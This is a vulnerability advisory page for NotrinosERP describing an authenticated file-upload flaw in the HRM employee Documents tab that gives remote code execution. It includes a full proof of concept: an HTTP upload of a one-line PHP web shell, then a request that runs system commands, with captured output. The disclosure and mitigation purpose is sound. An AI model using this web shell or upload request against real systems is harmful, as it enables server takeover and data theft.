notrinos/notrinos-erp · NotrinosERP: Authenticated arbitrary file upload leads to remote code execution via HRM employee "Documents"
Affects notrinos/notrinos-erpSource GCVE Database
CVSS 8.8 High : upgrade to 1.1.0 soon.
Data as of 27 Oct 2026, 16:27 UTC
- Patch
- Available – fixed in 1.1.0
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:HWhat to do
Upgrade notrinos/notrinos-erp to 1.1.0.
Affected software
| Product | Affected | Fixed in |
|---|---|---|
| Packagistnotrinos/notrinos-erp | Affected
| Fixed in
|
Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.
AI-suggested
If you cannot patch yet, restrict the assignment of the SA_EMPLOYEE permission to trusted users only. As a temporary mitigation, implement server-side controls to block execution of uploaded files in the documents directory, such as web server configuration to deny execution of .php files in the upload path. Additionally, consider applying input validation to restrict allowed file extensions and sanitize filenames. Monitor vendor channels for an official patch or update addressing this issue.
Description
#### Summary An authenticated user with the HR "Manage Employees" permission (`SA_EMPLOYEE`) can upload a file with an arbitrary extension through the employee **Documents** tab. The handler writes the raw client-supplied filename — extension intact — into a web served directory with no extension, MIME, or content validation, so a `.php` file is stored under the web root and executes as code, yielding remote code execution on the server. #### Details The document-upload branch in `hrm/manage/employees.php` (function `tab_documents()`) moves the uploaded file using the client filename verbatim: ```php // hrm/manage/employees.php -> tab_documents() (HEAD lines 597-602; release 1.0.0 lines 568-573) $upload_dir = company_path().'/documents/employees'; if (!file_exists($upload_dir)) mkdir($upload_dir, 0777, true); $file_path = $upload_dir.'/'.$employee_id.'_'.time().'_'.$_FILES['doc_file']['name']; if (!move_uploaded_file($_FILES['doc_file']['tmp_name'], $file_path)) { ... } ``` There is **no** extension allow-list, `getimagesize()`, MIME check, or content inspection on this path. Contrast this with the profile photo (`pic`) upload in the *same file*, which validates image type/extension/size, and with core `includes/ui/attachment.inc`, which deliberately generates a random extension-less name (`uniqid()`) with a comment warning that client filenames must never be trusted. The document handler ignores that established safe pattern. Reachability of the written file: - `company_path()` resolves under the web root; `config.default.php` sets `$comp_path = $path_to_root.'/company'`, so uploads land in `company/0/documents/employees/`. - The only `.htaccess` in the project is the repo-root one, which denies `.inc/.po/.sh/.pem/.sql/.log` only — it does **not** block `.php` and does **not** cover `company/`. - The stored path is then echoed **unescaped** into a clickable "View" link (`hrm/includes/ui/employee_ui.inc` lines 153-154 — `file_path` concatenated straight into `href`), handing the attacker the exact URL of the shell (and creating a secondary stored-XSS sink, CWE-79). A crafted multipart `filename` containing `../` additionally enables path traversal (CWE-22) on PHP builds that do not basename `['name']`. #### Proof of Concept The upload is gated by authentication and CSRF, but **neither gates the file itself**. Prerequisites: an authenticated session with `SA_EMPLOYEE`; an existing employee (`employee_no`); a valid `doc_type_id`; and the session CSRF token. The CSRF field is **`_token`** (validated by`check_csrf_token()` against `$_SESSION['csrf_token']`), so first GET the Documents form to read the hidden `_token`, then submit. Against your **own** local instance: ```http POST /hrm/manage/employees.php?employee_no=1&_tabs_sel=tab_documents HTTP/1.1 Host: <your-local-instance> Cookie: <authenticated session> Content-Type: multipart/form-data; boundary=b --b Content-Disposition: form-data; name="_token" <value of the hidden _token field from the GET response> --b Content-Disposition: form-data; name="doc_type_id" <a valid document type id> --b Content-Disposition: form-data; name="doc_name" x --b Content-Disposition: form-data; name="doc_file"; filename="shell.php" Content-Type: application/x-php <?php system($_GET['c']); ?> --b Content-Disposition: form-data; name="save_document" Save Document --b-- ``` Then request the stored file (its exact path is shown in the Documents tab's "View" link): ```http GET /company/0/documents/employees/1_<unix_ts>_shell.php?c=id HTTP/1.1 ``` The command in `c` executes on the server. #### Validation (performed locally, no network) The code-execution mechanism was confirmed on a local host (PHP 8.5). A harness running the handler's **verbatim** path/move logic wrote `company/0/documents/employees/1_<ts>_shell.php` (attacker-chosen `.php` extension, no validation applied), and requesting it through a PHP web server rooted at the app directory executed the payload: ``` $ curl '.../company/0/documents/employees/1_1783671979_shell.php?c=id' uid=501(...) gid=20(staff) ... $ curl '.../<same>.php?c=uname%20-sm;whoami' Darwin arm64 <user> ``` Caveats: (1) the harness used `copy()` in place of `move_uploaded_file()` because a CLI process has no real multipart temp file — the client-filename handling and the absence of any validation are identical to production (`poc/rce_demo.php`); (2) PHP's built-in server executes the file by path, and a standard Apache/mod_php or Nginx+PHP-FPM deployment behaves the same, because the repo-root `.htaccess` does not block `.php` and does not cover `company/`. The full HTTP flow additionally requires the auth + `_token` + `doc_type_id` prerequisites above, none of which inspect the file. #### Impact Remote code execution on the hosting server by any authenticated operator holding the delegable `SA_EMPLOYEE` role (not necessarily an administrator). If a deployment grants `SA_EMPLOYEE` only to administrators, treat privile
References
- github.com/notrinos/NotrinosERP/security/advisories/GHSA-qv4m-m73m-8hj7 (opens in a new tab)
- github.com/notrinos/NotrinosERP (opens in a new tab)
- github.com/notrinos/NotrinosERP/commit/71cac7cd199e40cff7f2b18551620133e29f8967 (opens in a new tab)
- github.com/notrinos/NotrinosERP/releases/tag/1.1.0 (opens in a new tab)